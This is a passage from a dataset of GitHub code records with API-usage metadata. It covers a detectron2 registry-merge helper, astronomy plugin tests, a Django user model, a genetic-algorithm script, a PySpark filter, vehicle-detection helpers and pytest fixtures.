"name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "numpy.std", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 159, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 201, "usage_type": "call"}, {"api_name": "scipy.stats.sem", "line_number": 226, "usage_type": "call"}, {"api_name": "scipy.stats.sem", "line_number": 234, "usage_type": "call"}, {"api_name": "seaborn.FacetGrid", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 243, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 243, "usage_type": "name"}, {"api_name": "seaborn.FacetGrid", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 249, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}]}
{"seq_id": "20603242023", "text": "from . import config, data, engine, evaluation, foolbox, modeling, tools, utils\n\n\ndef merge_with_detectron2():\n    \"\"\"\n    Modifies the mutable parts of detectron2's modules/environment (such as\n    `Registry`s, `DatasetCatalog`s, etc.) with the corresponding features from\n    `srnet`. This makes them accessible from within `detectron2` code. By\n    design, srnet doesn't modify/monkey-patch any part of `detectron2` without\n    calling this function.\n    \"\"\"\n    from detectron2.data import DatasetCatalog, MetadataCatalog\n    from detectron2.modeling.backbone import BACKBONE_REGISTRY as D2_BACKBONE_REGISTRY\n    from detectron2.modeling.meta_arch import (\n        META_ARCH_REGISTRY as D2_META_ARCH_REGISTRY,\n    )\n    from detectron2.utils.registry import Registry\n\n    from .data import builtin  # noqa\n    from .data.datasets._catalog import SRNET_DATASET_CATALOG, SRNET_METADATA_CATALOG\n    from .modeling.backbone.build import BACKBONE_REGISTRY\n    from .modeling.meta_arch.build import META_ARCH_REGISTRY\n\n    # registry merge helper function\n    def merge_registries(\n        primary: Registry, secondary: Registry, overwrite: bool = False\n    ) -> Registry:\n        primary_map = primary._obj_map\n        secondary_map = secondary._obj_map\n        for obj_name, obj_ in secondary_map.items():\n            if obj_name in primary_map and overwrite == False:\n                raise ValueError(\n                    f\"primary registry {primary._name} already contains {obj_name}, can't add it from registry {secondary._name}!\"\n                )\n            primary_map[obj_name] = obj_\n        return primary\n\n    # merging various registries\n    merge_registries(D2_META_ARCH_REGISTRY, META_ARCH_REGISTRY)\n    merge_registries(D2_BACKBONE_REGISTRY, BACKBONE_REGISTRY)\n\n    # merging dataset catalogs\n    for dataset_name, dataset_callable in SRNET_DATASET_CATALOG.items():\n        DatasetCatalog.register(dataset_name, dataset_callable)\n\n    # merging metadata catalogs\n    for metadata_name, metadata_dict in SRNET_METADATA_CATALOG.items():\n        metadata_catalog = MetadataCatalog.get(metadata_name)\n        for key, value in metadata_dict.items():\n            setattr(metadata_catalog, key, value)\n", "repo_name": "sean-rice/srnet", "sub_path": "srnet/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2211, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "detectron2.utils.registry.Registry", "line_number": 26, "usage_type": "name"}, {"api_name": "detectron2.utils.registry.Registry", "line_number": 27, "usage_type": "name"}, {"api_name": "detectron2.modeling.meta_arch.META_ARCH_REGISTRY", "line_number": 39, "usage_type": "argument"}, {"api_name": "modeling.meta_arch.build.META_ARCH_REGISTRY", "line_number": 39, "usage_type": "argument"}, {"api_name": "detectron2.modeling.backbone.BACKBONE_REGISTRY", "line_number": 40, "usage_type": "argument"}, {"api_name": "modeling.backbone.build.BACKBONE_REGISTRY", "line_number": 40, "usage_type": "argument"}, {"api_name": "data.datasets._catalog.SRNET_DATASET_CATALOG.items", "line_number": 43, "usage_type": "call"}, {"api_name": "data.datasets._catalog.SRNET_DATASET_CATALOG", "line_number": 43, "usage_type": "name"}, {"api_name": "detectron2.data.DatasetCatalog.register", "line_number": 44, "usage_type": "call"}, {"api_name": "detectron2.data.DatasetCatalog", "line_number": 44, "usage_type": "name"}, {"api_name": "data.datasets._catalog.SRNET_METADATA_CATALOG.items", "line_number": 47, "usage_type": "call"}, {"api_name": "data.datasets._catalog.SRNET_METADATA_CATALOG", "line_number": 47, "usage_type": "name"}, {"api_name": "detectron2.data.MetadataCatalog.get", "line_number": 48, "usage_type": "call"}, {"api_name": "detectron2.data.MetadataCatalog", "line_number": 48, "usage_type": "name"}]}
{"seq_id": "15850318854", "text": "import pytest\nfrom packaging.version import Version\nimport numpy as np\nimport astropy\nfrom astropy.nddata import NDDataArray, StdDevUncertainty\nfrom specutils import Spectrum1D\nfrom regions import CirclePixelRegion, PixCoord\n\nASTROPY_LT_5_3_2 = Version(astropy.__version__) < Version('5.3.2')\n\n\n@pytest.mark.skipif(not ASTROPY_LT_5_3_2, reason='Needs astropy <5.3.2')\ndef test_version_before_nddata_update(cubeviz_helper, spectrum1d_cube_with_uncerts):\n    # Also test that plugin is disabled before data is loaded.\n    plg = cubeviz_helper.plugins['Spectral Extraction']\n    assert plg._obj.disabled_msg != ''\n\n\n@pytest.mark.skipif(ASTROPY_LT_5_3_2, reason='Needs astropy 5.3.2 or later')\ndef test_version_after_nddata_update(cubeviz_helper, spectrum1d_cube_with_uncerts):\n    # Also test that plugin is disabled before data is loaded.\n    plg = cubeviz_helper.plugins['Spectral Extraction']\n    assert plg._obj.disabled_msg == ''\n\n    cubeviz_helper.load_data(spectrum1d_cube_with_uncerts)\n\n    spectral_cube = cubeviz_helper.app.data_collection[0].get_object(NDDataArray)\n    uncert_cube = cubeviz_helper.app.data_collection[1].get_object(StdDevUncertainty)\n    spectral_cube.uncertainty = uncert_cube\n\n    # Collapse the spectral cube using the astropy.nddata machinery.\n    # Axes 0, 1 are the spatial ones.\n    collapsed_cube_nddata = spectral_cube.sum(axis=(0, 1))  # return NDDataArray\n\n    # Collapse the spectral cube using the methods in jdaviz:\n    collapsed_cube_s1d = plg.collapse_to_spectrum(add_data=False)  # returns Spectrum1D\n\n    assert isinstance(spectral_cube, NDDataArray)\n    assert isinstance(collapsed_cube_s1d, Spectrum1D)\n\n    np.testing.assert_allclose(\n        collapsed_cube_nddata.data,\n        collapsed_cube_s1d.flux.to_value(collapsed_cube_nddata.unit)\n    )\n\n\n@pytest.mark.skipif(ASTROPY_LT_5_3_2, reason='Needs astropy 5.3.2 or later')\n@pytest.mark.parametrize(\n    \"function, expected_uncert\",\n    zip(\n        [\"Sum\", \"Mean\", \"Min\", \"Max\"],\n        [2, 0.5, 1, 1]\n    )\n)\ndef test_subset(\n    cubeviz_helper, spectrum1d_cube_with_uncerts, function, expected_uncert\n):\n    # give uniform unit uncertainties for this test:\n    spectrum1d_cube_with_uncerts.uncertainty = StdDevUncertainty(\n        np.ones_like(spectrum1d_cube_with_uncerts.data)\n    )\n\n    regions = [\n        # create a subset with a single pixel:\n        CirclePixelRegion(PixCoord(0, 1), radius=0.7),\n        # two-pixel region:\n        CirclePixelRegion(PixCoord(0.5, 0), radius=1.2)\n    ]\n\n    cubeviz_helper.load_data(spectrum1d_cube_with_uncerts)\n    cubeviz_helper.load_regions(regions)\n\n    plg = cubeviz_helper.plugins['Spectral Extraction']\n    plg.function = function\n\n    # single pixel region:\n    plg.spatial_subset = 'Subset 1'\n    collapsed_spec_1 = plg.collapse_to_spectrum()\n\n    # this single pixel has two wavelengths, and all uncertainties are unity\n    # irrespective of which collapse function is applied:\n    assert len(collapsed_spec_1.flux) == 2\n    assert np.all(np.equal(collapsed_spec_1.uncertainty.array, 1))\n\n    # this two-pixel region has four unmasked data points per wavelength:\n    plg.spatial_subset = 'Subset 2'\n    collapsed_spec_2 = plg.collapse_to_spectrum()\n\n    assert np.all(np.equal(collapsed_spec_2.uncertainty.array, expected_uncert))\n", "repo_name": "havok2063/jdaviz", "sub_path": "jdaviz/configs/cubeviz/plugins/spectral_extraction/tests/test_spectral_extraction.py", "file_name": "test_spectral_extraction.py", "file_ext": "py", "file_size_in_byte": 3286, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "packaging.version.Version", "line_number": 9, "usage_type": "call"}, {"api_name": "astropy.__version__", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pytest.mark.skipif", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}, {"api_name": "astropy.nddata.NDDataArray", "line_number": 27, "usage_type": "argument"}, {"api_name": "astropy.nddata.StdDevUncertainty", "line_number": 28, "usage_type": "argument"}, {"api_name": "astropy.nddata.NDDataArray", "line_number": 38, "usage_type": "argument"}, {"api_name": "specutils.Spectrum1D", "line_number": 39, "usage_type": "argument"}, {"api_name": "numpy.testing.assert_allclose", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pytest.mark.skipif", "line_number": 19, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 19, "usage_type": "attribute"}, {"api_name": "astropy.nddata.StdDevUncertainty", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 60, "usage_type": "call"}, {"api_name": "regions.CirclePixelRegion", "line_number": 65, "usage_type": "call"}, {"api_name": "regions.PixCoord", "line_number": 65, "usage_type": "call"}, {"api_name": "regions.CirclePixelRegion", "line_number": 67, "usage_type": "call"}, {"api_name": "regions.PixCoord", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.equal", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.equal", "line_number": 89, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 47, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 48, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 48, "usage_type": "attribute"}]}
{"seq_id": "74514424906", "text": "from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin, UnicodeUsernameValidator\nfrom django.contrib.auth.models import UserManager as DefaultUserManager\nfrom django.db import models\n\n\nclass UserManager(DefaultUserManager):\n    # Patch to allow nullable emails\n    @classmethod\n    def normalize_email(cls, email):\n        return super().normalize_email(email) or None\n\n\nclass User(AbstractBaseUser, PermissionsMixin):\n    username_validator = UnicodeUsernameValidator()\n\n    created_at = models.DateTimeField(auto_now_add=True)\n    updated_at = models.DateTimeField(auto_now=True)\n    username = models.CharField(\n        max_length=150,\n        unique=True,\n        help_text=\"Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.\",\n        validators=[username_validator],\n        error_messages={\n            \"unique\": \"A user with that username already exists.\",\n        },\n    )\n    email = models.EmailField(\n        unique=True,\n        default=None,\n        null=True,\n        error_messages={\"unique\": \"A user with that email already exists.\"},\n        blank=True,\n    )\n    is_staff = models.BooleanField(\n        default=False,\n        help_text=\"Designates whether the user can log into this admin site.\",\n    )\n\n    objects = UserManager()\n\n    EMAIL_FIELD = \"email\"\n    USERNAME_FIELD = \"username\"\n    REQUIRED_FIELDS = [\"email\"]\n\n    def __str__(self):\n        text = self.username\n\n        if self.email:\n            text += f\": {self.email}\"\n\n        return text\n", "repo_name": "Vasyalisk/potato-blog", "sub_path": "blog/users/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1517, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.auth.models.UserManager", "line_number": 6, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.AbstractBaseUser", "line_number": 13, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.PermissionsMixin", "line_number": 13, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.UnicodeUsernameValidator", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models.DateTimeField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}]}
{"seq_id": "33670352889", "text": "import json\nimport matplotlib.pyplot as plt # type: ignore\nfrom simplega import gaconfig\nfrom simplega import boothengine \n\n# plots the fitness over all generations using matplotlib.\ndef fitness_plot_stats(avg_fitness_plot, best_fitness_plot, title):\n        if len(avg_fitness_plot) > 0 :\n            plt.plot(avg_fitness_plot, label=\"avg\")\n        if len(best_fitness_plot) > 0 :\n            plt.plot(best_fitness_plot, label=\"best\")\n        plt.title(title)\n        plt.ylabel('Fitness')\n        plt.xlabel('Generations')\n        if gaConfig.plot_type == \"avg\":\n            plt.legend(['Average Fitness'], loc='lower right')\n        elif gaConfig.plot_type == \"best\":\n            plt.legend(['Best Fitness'], loc='lower right')\n        else:\n            plt.legend(['Average Fitness', 'Best Fitness'], loc='lower right')\n        plt.show()\n\ndef selct_config(option):\n    root_dir = gaconfig.get_simplega()\n    file_name = root_dir + \"/configs/config_bts_bit_flip.json\"\n    selected_option = \"Binary Tournament Selection with Bit Flip Mutation\"\n    if option == \"1\":\n        file_name = root_dir + \"/configs/config_bts_bit_flip.json\"\n        selected_option = \"Binary Tournament Selection with Bit Flip Mutation\"\n    elif option == \"2\":\n        file_name = root_dir + \"/configs/config_bts_bit_swap.json\"\n        selected_option = \"Binary Tournament Selection with Bit Swap Mutation\"\n    elif option == \"3\":\n        file_name = root_dir +  \"/configs/config_roulette_bit_flip.json\"\n        selected_option = \"Roulette-Wheel Selection with Bit Flip Mutation\"\n    elif option == \"4\":\n        file_name = root_dir +  \"/configs/config_roulette_bit_swap.json\"\n        selected_option = \"Roulette-Wheel Selection with Bit Swap Mutation\"\n    else:\n        file_name = root_dir +  \"/configs/config_bts_bit_flip.json\"\n        selected_option = \"Binary Tournament Selection with Bit Flip Mutation\"\n    return file_name, selected_option\n\nif __name__ == '__main__':\n    print(\"Simple Gentic Algorithm Config Selction:\")\n    print(\"1. Binary Tournament Selection with Bit Flip Mutation\")\n    print(\"2. Binary Tournament Selection with Bit Swap Mutation\")\n    print(\"3. Roulette-Wheel Selection with Bit Flip Mutation\")\n    print(\"4. Roulette-Wheel Selection with Bit Swap Mutation\")\n    option = input(\"Enter your choice: \")\n    config_file_name, selected_option = selct_config(option)\n    with open(config_file_name,'r') as file:\n        configString = file.read()\n    configJSON = json.loads(configString)\n    gaConfig = gaconfig.GAConfig.from_dict(configJSON)\n    # print(gaConfig)\n    if gaConfig.selection.type == \"tournament\":\n        if gaConfig.selection.size >= gaConfig.n_populations:\n            print(\"tournament selction size should be less than population size\")\n            exit()\n    # gaEngine = sphereengine.SphereGAEngine(gaConfig, n_gene=gaConfig.n_gene)\n    gaEngine = boothengine.BoothGAEngine(gaConfig, n_gene=gaConfig.n_gene)\n    gaEngine.make_initial_population()\n    \n    avg_fitness_plot: list = []\n    best_fitness_plot: list = []\n    \n    if gaConfig.plot_type == \"avg\":\n        avg_fitness_plot.append(gaEngine.average_fitness())\n    elif gaConfig.plot_type == \"best\":\n        best_fitness_plot.append(gaEngine.best_finess())\n    else:\n        avg_fitness_plot.append(gaEngine.average_fitness())\n        best_fitness_plot.append(gaEngine.best_finess())\n        \n    while  gaEngine.generations < gaConfig.n_generation:\n        mating_pool = gaEngine.do_selection()\n        next_gen = gaEngine.do_crossover(mating_pool)\n        gaEngine.next_generation(next_gen)\n        gaEngine.do_mutation()\n        gaEngine.change_genration()\n        no_of_crossover = int(gaConfig.n_populations * gaConfig.crossover_chances)\n        gaEngine.totalPopulation += no_of_crossover\n\n        if gaConfig.plot_type == \"avg\":\n            avg_fitness_plot.append(gaEngine.average_fitness())\n        elif gaConfig.plot_type == \"best\":\n            best_fitness_plot.append(gaEngine.best_finess())\n        else:\n            avg_fitness_plot.append(gaEngine.average_fitness())\n            best_fitness_plot.append(gaEngine.best_finess())\n    \n    print(gaEngine)\n    title = \"Fitness for \"\n    if gaConfig.plot_type == \"avg\":\n        title = \"Average Fitness for \"\n    if gaConfig.plot_type == \"best\":\n        title = \"Best Fitness for \"   \n        \n    plot_title = title + selected_option\n    fitness_plot_stats(avg_fitness_plot=avg_fitness_plot,\n                       best_fitness_plot=best_fitness_plot\n                       ,title=plot_title)\n    \n", "repo_name": "sayan1886/SimpleGA", "sub_path": "simplega.py", "file_name": "simplega.py", "file_ext": "py", "file_size_in_byte": 4546, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.plot", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "simplega.gaconfig.get_simplega", "line_number": 24, "usage_type": "call"}, {"api_name": "simplega.gaconfig", "line_number": 24, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 54, "usage_type": "call"}, {"api_name": "simplega.gaconfig.GAConfig.from_dict", "line_number": 55, "usage_type": "call"}, {"api_name": "simplega.gaconfig.GAConfig", "line_number": 55, "usage_type": "attribute"}, {"api_name": "simplega.gaconfig", "line_number": 55, "usage_type": "name"}, {"api_name": "simplega.boothengine.BoothGAEngine", "line_number": 62, "usage_type": "call"}, {"api_name": "simplega.boothengine", "line_number": 62, "usage_type": "name"}]}
{"seq_id": "18315187207", "text": "from pyspark import SparkContext,RDD\nfrom pyspark.sql import SparkSession\n\nif __name__ ==\"__main__\":\n        \n        spark =  SparkSession \\\n            .builder \\\n            .appName(\"Creating RDD\") \\\n            .master(\"local[*]\") \\\n            .getOrCreate()\n\n        #only display error messages to console\n        spark.sparkContext.setLogLevel(\"ERROR\")\n\n        #input file path\n        #\"D:\\\\spark\\\\Pyspark-Projects\\\\Intro\\\\PySpark-Fundamentals\\\\filter_program.txt\"\n        filePath = u\"D:\\\\spark\\\\Pyspark-Projects\\\\Intro\\\\PySpark-Fundamentals\\\\filter_program.txt\"\n        \n        #reading file using spark \n        fileInput = spark.sparkContext.textFile(filePath)\n        print((fileInput).collect())\n        \n        filteredRDD = fileInput.filter(lambda x : 'Py' in x)\n        print(type(filteredRDD))\n\n        print(\"Stopping spark session\")\n        spark.stop()", "repo_name": "Shidhanta/PySpark-Fundamentals", "sub_path": "filter.py", "file_name": "filter.py", "file_ext": "py", "file_size_in_byte": 878, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 6, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 6, "usage_type": "name"}]}
{"seq_id": "13974519819", "text": "# coding: UTF-8\nimport glob\nimport os\n\nimport cv2\nimport numpy as np\n\nfrom skimage.feature import hog\n\nfrom .classifier import get_color_hist_features\n\n\ndef draw_boxes(img, bbox_list):\n    img_drawn = np.copy(img)\n    for bbox in bbox_list:\n        cv2.rectangle(img_drawn, bbox[0], bbox[1], (0, 0, 255), 6)\n\n    return img_drawn\n\n\ndef add_heat(heatmap, bbox_list):\n    for bbox in bbox_list:\n        heatmap[bbox[0][1]:bbox[1][1], bbox[0][0]:bbox[1][0]] += 1\n\n    return heatmap\n\n\ndef apply_threshold(heatmap, threshold):\n    heatmap[heatmap <= threshold] = 0\n\n    return heatmap\n\n\ndef draw_labeled_bboxes(img, labels):\n    img_drawn = np.copy(img)\n\n    for car_number in range(1, labels[1] + 1):\n        nonzero = (labels[0] == car_number).nonzero()\n        nonzeroy = np.array(nonzero[0])\n        nonzerox = np.array(nonzero[1])\n        bbox = ((np.min(nonzerox), np.min(nonzeroy)), (np.max(nonzerox), np.max(nonzeroy)))\n        cv2.rectangle(img_drawn, bbox[0], bbox[1], (0, 0, 255), 6)\n\n    return img_drawn\n\n\ndef find_cars(\n    img, y_start, y_stop, classifier, X_scaler,\n    orientations=9, pixels_per_cell=(8, 8), cells_per_block=(2, 2)):\n\n    bbox_list = []\n    resize_to = (64, 64)\n\n    assert pixels_per_cell[0] == pixels_per_cell[1]\n    pix_per_cell = pixels_per_cell[0]\n\n    img_to_search = img[y_start:y_stop, :, :]\n    img_to_search_ycrcb = cv2.cvtColor(img_to_search, cv2.COLOR_RGB2YCR_CB)\n    subimg = cv2.cvtColor(img_to_search, cv2.COLOR_RGB2HSV)\n\n    channel_list = []\n    for i in [0, 1, 2]:\n        channel_list.append(img_to_search_ycrcb[:, :, i])\n    # Compute individual channel HOG features\n    hog_ch_list = []\n    for channel in channel_list:\n        hog_ch = hog(\n            channel, orientations, pixels_per_cell, cells_per_block,\n            transform_sqrt=True, visualise=False, feature_vector=False)\n        hog_ch_list.append(hog_ch)\n\n    # Define blocks and steps as above\n    n_x_blocks = (img_to_search.shape[1] // pix_per_cell) - 1\n    n_y_blocks = (img_to_search.shape[0] // pix_per_cell) - 1\n\n    window = pixels_per_cell[0] * pixels_per_cell[1]\n    n_blocks_per_window = (window // pix_per_cell) - 1\n    cells_per_step = 2\n    n_x_steps = (n_x_blocks - n_blocks_per_window) // cells_per_step\n    n_y_steps = (n_y_blocks - n_blocks_per_window) // cells_per_step\n\n    # Window search\n    for xb in range(n_x_steps):\n        for yb in range(n_y_steps):\n            y_pos = yb * cells_per_step\n            x_pos = xb * cells_per_step\n            x_left = x_pos * pix_per_cell\n            y_top = y_pos * pix_per_cell\n\n            # Extract HOG\n            hog_features_list = []\n            for hog_ch in hog_ch_list:\n                hog_features_list.append(hog_ch[y_pos:y_pos + n_blocks_per_window, x_pos:x_pos + n_blocks_per_window].ravel())\n            hog_features = np.hstack(hog_features_list).reshape(1, -1)\n\n            patch = subimg[y_top:y_top + window, x_left:x_left + window]\n            patch_resized = cv2.resize(patch, resize_to)\n            # Extract image features\n            # img_features = patch_resized.ravel().reshape(1, -1)\n            # Extract color hist features\n            color_hist_features = get_color_hist_features(patch_resized, channels=[0, 1, 2]).reshape(1, -1)\n            # Scale features\n            # test_features = np.array(hog_features)\n            test_features = np.hstack((hog_features, color_hist_features)).reshape(1, -1)\n            X_test = X_scaler.transform(test_features)\n            # Predict\n            y_pred_test = classifier.predict(X_test)\n\n            if y_pred_test == 1:\n                x_box_left = np.int(x_left)\n                y_top_draw = np.int(y_top)\n                win_draw = np.int(window)\n                bbox_list.append(\n                    ((x_box_left, y_top_draw + y_start),\n                     (x_box_left + win_draw, y_top_draw + win_draw + y_start))\n                     )\n\n    return bbox_list\n", "repo_name": "fujiki-1emon/CarND", "sub_path": "Term1/P5-Vehicle-Detection/olds/_vehicle_detection.py", "file_name": "_vehicle_detection.py", "file_ext": "py", "file_size_in_byte": 3918, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.copy", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 41, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2YCR_CB", "line_number": 58, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2HSV", "line_number": 59, "usage_type": "attribute"}, {"api_name": "skimage.feature.hog", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 94, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 97, "usage_type": "call"}, {"api_name": "classifier.get_color_hist_features", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 104, "usage_type": "call"}, {"api_name": "classifier.predict", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 112, "usage_type": "call"}]}
{"seq_id": "14478012496", "text": "from datetime import datetime\n\nimport pytest\nfrom django.contrib.auth import get_user_model\nfrom rest_framework.test import APIClient\nimport factories\nfrom pytest_factoryboy import register\n\nUSER_MODEL = get_user_model()\nregister(factories.GoalFactory)\nregister(factories.BoardFactory)\nregister(factories.UserFactory)\nregister(factories.CategoryFactory)\nregister(factories.BoardParticipantFactory)\nregister(factories.GoalCommentFactory)\nregister(factories.TuserFactory)\n\n\n@pytest.fixture\ndef auth_client(db, user):\n    client = APIClient()\n    client.force_authenticate(user)\n    return client\n\n\n@pytest.fixture()\ndef boards():\n    return factories.BoardFactory.create_batch(5)\n\n\n@pytest.fixture()\ndef board():\n    return factories.BoardFactory.create()\n\n\n@pytest.fixture()\ndef boards_with_participants(user, boards):\n    for item in boards:\n        factories.BoardParticipantFactory.create(\n            board=item,\n            user=user,\n        )\n    return boards\n\n\n@pytest.fixture()\ndef board_with_participant(user, board):\n    factories.BoardParticipantFactory.create(\n        board=board,\n        user=user,\n    )\n    return board\n\n\n@pytest.fixture()\ndef category(board_with_participant, user):\n    return factories.CategoryFactory.create(\n        board=board_with_participant,\n        user=user\n    )\n\n\n@pytest.fixture\ndef goal(category, user):\n    test_date = datetime.now().date()\n    return factories.GoalFactory.create(\n        title='New Goal',\n        category=category,\n        description='Description of New Goal',\n        due_date=test_date,\n        user=user,\n    )\n\n\n@pytest.fixture\ndef goal_comment(goal, 